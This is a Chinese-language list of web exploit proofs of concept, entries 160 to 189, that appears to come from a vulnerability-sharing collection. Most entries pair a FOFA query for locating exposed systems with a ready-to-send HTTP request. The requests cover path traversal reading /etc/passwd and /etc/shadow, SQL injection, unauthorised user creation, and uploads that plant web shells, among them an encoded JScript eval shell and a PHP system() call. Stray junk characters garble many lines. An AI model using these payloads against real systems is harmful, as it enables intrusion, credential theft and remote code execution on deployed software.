7 U& O& K! s6 F" I9 H0 O<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
  h1 o5 ?) y- s# K( v6 U8 ^. y<vcode>1</vcode>
- _2 n0 ?" k9 u& p( T<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>
; g' D! E8 y8 F5 K7 T4 ?& H& S2 G" q
# u% Q2 G. Y1 t$ E& V. T. n- K, ]
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
7 V! r' e) Z4 n  V' J
0 Z) ?; D$ m* e. u
160. Sonatype Nexus Repository 3目录遍历与文件读取
/ ~* Q3 H# O) OCVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
/ }3 s2 k: O5 z# s2 _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
8 y* T; y% ~* I+ aAccept: */*
Accept-Language: en
Accept-Encoding: gzip
) u) N' X; p" F, r2 d$ A  G  U
4 d. g& q- w4 C: ~7 C1 _3 L
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
0 l( C) Q9 F  nFOFA：body="/KT_Css/qd_defaul.css"
7 f3 q/ b- P. m- e/ @5 z第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
3 E6 {8 ~  ]& D; S7 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
& n  u6 a% W- p/ _3 @1 G$ j+ d" dContent-Type: text/xml
0 }- a9 ]/ y. p; Y* n# mAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
0 ^& u: Z7 L8 J% R$ ]8 |& W% L<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
8 ?  {4 j6 |" ]+ G* V: F9 w<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
+ u/ h  E+ Y7 d# c1 `+ r<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
3 F" R! X6 M  a2 ]5 u, V</UploadResume>
  e  p7 p* w( g, ]2 _1 z9 c</soap:Body>
</soap:Envelope>
; A5 A. D  Y3 H' C( U  e) a9 @: i* m

http://x.x.x.x/dizxdell.aspx

/ t0 v) S! _" Z: h/ v1 p162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
" |% x( e. Y! g+ X- O7 I" yFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
+ e. ?$ e. _% w) C$ E9 z! w3 E% `4 U) IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
1 k5 _* s& S) ]: @* WContent-Length: 583
! A0 _! ?  y( n) E; X: Y+ y1 EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
3 ]  _4 a% ~5 Z1 R: ]2 jAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
0 P% Z  U/ E* s) p, K; j5 }8 h7 ]) e
, ?( Z& t6 N; s3 ?<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
8 @( u) \. ?  c: }6 I
! C8 r2 K7 @, }8 \3 Mupload
------WebKitFormBoundaryeegvclmyurlotuey
. L! s( \% L" B# \6 h7 ^$ tContent-Disposition: form-data; name="responderId"
2 f- s0 B; ^% t* [3 Z
/ }6 l# ?6 y' j. @; {- E$ w' K) vResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
* u. ^% V, l! PContent-Disposition: form-data; name="remotePath"

/opt/resources
' ?& w; q% I8 `2 f------WebKitFormBoundaryeegvclmyurlotuey--

$ @  A; a* A" g
! O% d7 {, j, g. k+ }* t( Ahttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
9 k, I2 N% H) C: [+ m8 m! c
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
) Z9 k; M4 a. p" VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
9 t& o9 ^& A2 m5 `# g: w
% ?% p" k7 d7 ]! Y1 L" m------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

  {  P+ x" q5 D9 H" z, f9 v1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
5 F9 Q9 x. n9 FContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
/ F2 Y$ T$ p2 F% d
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

; B0 z& g6 M# a7 Q
5 ?: _& X; V2 R3 n164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
$ @9 W+ h6 |. u, G0 ~" iPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
+ L* }/ p  t6 C6 tContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
" Q! |! C% }  k. q8 l1 `X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
* H4 ^+ N0 }* T  V  G) UContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 {# m+ @% ]+ l$ n& w0 s7 ~5 }Content-Type: image/jpeg
9 t* `' k# m- V) H
7 n5 W9 L1 _* a3 U8 B# ~; l& I<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
4 e7 B1 ~, {- {* d3 ]$ F------dqdaieopnozbkapjacdbdthlvtlyl--
: m/ x& J4 ]" s1 c, P

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
: G1 ], B; s+ d5 R* g$ w
165. OrangeHRM 3.3.3 SQL 注入
7 U' Z9 N% P+ }, hCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
% }5 z" K. i( @* I9 R4 x3 J' |
6 N( F. V6 V( e% E4 m; w
7 I3 K# Z* t2 @& E* D166. 中成科信票务管理平台SeatMapHandler SQL注入
8 p: e! h6 v( t3 N/ n5 K& QFOFA：body="技术支持：北京中成科信科技发展有限公司"
# ^( `( ]5 G( ~/ O/ f2 WPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
7 M1 R) A2 v, m0 dHost:
, k5 x) d: Y% r# P1 A# W0 J- P' oPragma: no-cache
Cache-Control: no-cache
7 s+ R3 {( j+ w" \% CUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 `" |* [- S- M- m5 VAccept-Encoding: gzip, deflate
. P' f- X0 j5 [5 ~! hAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
- @! \. }' i% V  IContent-Type: application/x-www-form-urlencoded
, k. R1 ?% n+ u1 TContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

/ {0 n! s. a1 t
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
( ~8 h; u( g, `, V5 ?Host:
% g/ b/ a0 G1 X# HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 C% {1 M+ ?4 }5 B  g

168. 宏景EHR OutputCode 任意文件读取
7 o* r; p7 G+ N7 ?8 B5 R& Q! vFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
, e! r9 t; E7 }: z$ R  CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close


  ]* Y! }8 f0 G. Y, x
  Z4 r: q% m6 l+ r169. 宏景EHR downlawbase SQL注入
, {1 {# ]9 j$ E! j- dFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
3 v' U' y3 ~2 k+ ]8 r6 `- X) D" @$ ]( MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
, x! O$ x% E, a1 D3 a9 i" vConnection: close

7 b) m( S1 S  ]3 F, m

1 B+ s3 N7 v+ x; ?! r$ Z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
; ?3 [* P9 o, v  u) WFOFA：body="/general/sys/hjaxmanage.js"
! n2 o; W8 H8 U  U4 K9 z! h$ cPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- x5 R& A( t! f& d$ S* ^
filename=../webapps/ROOT/WEB-INF/web.xml
# q" u6 K6 P& A4 G5 D7 C
. l$ p3 z# z7 O' K; ?
# d( H5 D8 [9 y171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
9 s9 j3 [( U: X) `5 n2 YGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
# N. x* x0 {' m+ VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ `: ^1 y7 A: z7 `* c$ H/ V) H! tAccept-Encoding: gzip, deflate
& V# W( d8 \' D; P0 h5 C  Q& kConnection: close
# G  X9 A0 r$ H
" J% U6 O  b9 f; w; }
$ I) Q! d- a2 k. f
# g3 r! n# q7 |& }$ q172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
" C" Y5 e# @" F# A! C# cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! d. f) Q# _' |2 ?Accept-Encoding: gzip, deflate
Accept: */*
( K" a! I  R/ KConnection: keep-alive

1 x( [5 d- ^6 ]$ p4 K  x) H# ?3 I
8 Q. {5 e) B! V5 \
173. Check Point 安全网关任意文件读取
3 y8 [: I3 M& k5 MCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
0 {6 }- a# {2 G* o. @1 dPOST /clients/MyCRL HTTP/1.1
Host: your-ip
" c8 q3 y0 \9 u% nContent-Type: application/x-www-form-urlencoded

7 U* f" [) H* |6 a. a, maCSHELL/../../../../../../../etc/shadow

  e$ j4 B  a. o6 ?/ t* s

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
2 h$ }% {5 w. d: x- i* cFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
* k; A, I. U. T+ ~( O% i- b# u! qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! R# J" Z- L+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 t9 T, }" Y  B, L6 XAccept-Language: zh-CN,zh;q=0.9
/ h) U) K5 [% g/ R$ `1 E; ~! |3 b, p; }Connection: close
" S. v5 O0 m+ W
5 p3 s5 Q+ `( d! J- b8 \

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
2 Y+ x. w! f, C: q7 FUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( R$ x: T4 ]* [- B* KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: d( g0 P- k" t: FAccept-Encoding: gzip, deflate
Connection: close
; l, Q+ }: y/ iUpgrade-Insecure-Requests: 1
* X. `7 J( q- ?

176. 电信网关配置管理系统 rewrite.php 文件上传
% v- u& Z  X1 j* pFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
! m4 |& ~# D  a6 m7 N9 H+ p& pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
: z& g6 p+ A# i7 S$ ~: S8 {8 ?Connection: close
  T4 G/ b# K- A, @8 {2 c+ G
------WebKitFormBoundaryOKldnDPT
' Q: t) }  D. W) M" A3 n, h2 {Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
; S* E  Y) u. ?' {0 ]------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--


! }( O7 B) Z. E4 v. F1 I# A# V4 f6 k. u
: t1 X- T, `8 d, O177. H3C路由器敏感信息泄露
1 ?9 a6 _) `4 I6 o/ F' E/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
% l* A5 z6 K/ Z) q( c8 S/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
( X# W. ~- K& Y( U2 ]3 E& s& X/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
- W9 H3 G4 d) ?/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
' A; S8 {5 f/ M9 W; t- r/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
8 I2 q. I  b! e+ c2 X1 v2 t/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
& `0 A8 n; Y' H& u/ y) `0 V/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

3 h5 @# Q5 \; @$ Z; m
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
$ ^+ F9 X* e+ H0 N+ nHost:
% M/ ]3 H/ |% K9 [  gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 [9 A6 E, F1 R+ V8 \Content-Length: 252
. c" z8 V; z' x1 ^6 D  uAccept-Encoding: gzip, deflate
4 m" L: E6 `$ ^* C" M8 z% \Connection: close
) R8 a/ s/ m- f# [' vContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
5 h, l. C4 [, t( b; [-----------------aqutkea7vvanpqy3rh2l
% K, V, @, b# M$ ^Content-Disposition: form-data; name="12234.txt"; filename="12234"
1 w, _/ @4 B$ eContent-Type: application/octet-stream
6 {  ^+ i; \% E- P- \2 |( N$ Z6 R4 KContent-Length: 255

12234
7 @+ g- [7 d( t" ~  F6 [: _+ Y8 @5 e-----------------aqutkea7vvanpqy3rh2l--

! S, U0 T' Z; a% @
GET /imc/primepush/%2e%2e/flex/12234.txt
7 `8 w3 [6 W9 \" r
  q0 B" v7 h/ A$ l2 f: @9 x$ y# w
6 \5 ~2 n1 d% x+ m179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
" K2 |& m8 I5 J" ^! L! XHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

, {2 `# o5 v5 `: j0 y% wpath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
4 E# x/ @7 T$ \- d7 s0 ~0 YHost: your-ip
6 J/ O- Y3 x. ?6 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, s2 T  a, c, v) p( ?2 S. u& _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, d; c; ~4 n4 A/ t" f

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
/ q9 s5 r1 E& @# X( d! `/ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! |4 Y9 ]6 }& R' ~# V; o5 W% @Connection: close
; u  D" y' y- k1 cContent-Type: application/x-www-form-urlencoded
* P5 K7 F# O3 r/ [; u* t! G: n

9 F! _0 G" Y6 b3 K( N6 e; Laction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
3 |& s0 ^4 }; _( s/ YFOFA："PDCA/js/_publicCom.js"
! i) n6 n) E3 `" @POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
$ v7 n3 @4 z  K2 D- E# }. w- w1 b, ]Host: your-ip
& I& k0 g- @/ g& ~0 e) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ u7 q; M/ |! u& E3 I6 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
) _; f3 ~3 H5 |Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
) T: c( Y( ~, l7 S! r7 o

username=test1234&pwd=test1234&savedays=1


. d- ^) \0 x6 ~183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
) X+ h6 q* x  n9 w; UFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
9 j) F$ ~# q1 t& PGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. m' Z8 H( J0 }2 hAccept-Charset: utf-8
$ D$ b5 ~# I: k& l8 @' {Accept-Encoding: gzip, deflate
Connection: close
/ |+ b+ x, J  X5 ]

# Z. f- |0 W  {* ~5 U  @- y184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
1 c& P& s# r* |0 d) N' iHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
! I' T8 [8 L9 C! j0 T3 a# \Accept: application/xml, text/xml, */*; q=0.01
# {& \( Y* T: p3 u& r% AContent-Type: text/xml; charset=utf-8
' w- K- \, F3 O4 u8 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* v* i) R- t9 B! {- BX-Requested-With: XMLHttpRequest
# O' u* z* m5 A  f8 q  u

0 \2 ~- c' n, C  Z/ H* jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

0 j8 X/ i/ D7 t! C
# J" ^' Z$ k/ X1 c185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
& `+ G5 y& R* c6 Y6 f2 {1 UHost: host


186. F-logic DataCube3 SQL注入
CVE-2024-31750
3 ^$ F2 W) [2 N! D; SF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
5 Z4 @+ {  w" v& n3 W0 }: H6 ^POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
8 X8 i8 [; b  }8 ~( p0 GHost: your-ip
* w! E# m# T) K( j. H% w' oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
9 T1 X" k7 j" S: q! E0 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( @( v' b' Q) r! I7 {* NAccept-Encoding: gzip, deflate
% M/ L$ ^# d5 {! H# {Connection: close
Content-Type: application/x-www-form-urlencoded
+ a( K# F/ g- {+ g, c' T- P1 I+ f
1 B: A1 G" L- J. f# K8 h3 Qreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


% o( @( Z0 R2 y- l/ d* O- Z187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
3 H  ^6 {0 v% g# _FOFA："Mura CMS"
4 ^" D7 h9 `" k# x2 pPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
, n0 G! c/ l  F% THost: your-ip
: B, T2 H% ~+ j# ?" q$ R& C) Z( LContent-Type: application/x-www-form-urlencoded

. K& R" M& E9 E; |# T( R
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
) `7 N6 Y" y+ H
& x4 d9 j  n/ h8 g$ @( m: B
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
, b, N2 g  h. f% M& m# z: h% F4 |FOFA：body="/system/get_rtc_user_defined_info?site_id"
* S1 C" ?& t% u, f! ^2 G2 PGET /attachment?file=/etc/passwd HTTP/1.1
& H( o# V* F) c/ |$ O$ gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 j# ]9 t8 h; _5 Z" O! u3 QConnection: close
+ W, S& S3 l4 l. w( b( O
! p$ I  E% a! P/ J; C$ p* p
& E; G" q9 z9 n+ p1 I; Z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
, f, h6 x7 m' b/ f0 y2 n. y3 @; hFOFA：app="LANWON-临床浏览系统"
- Y' y  k' {0 h0 Z7 ]GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
' y1 b! _3 N5 [) bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
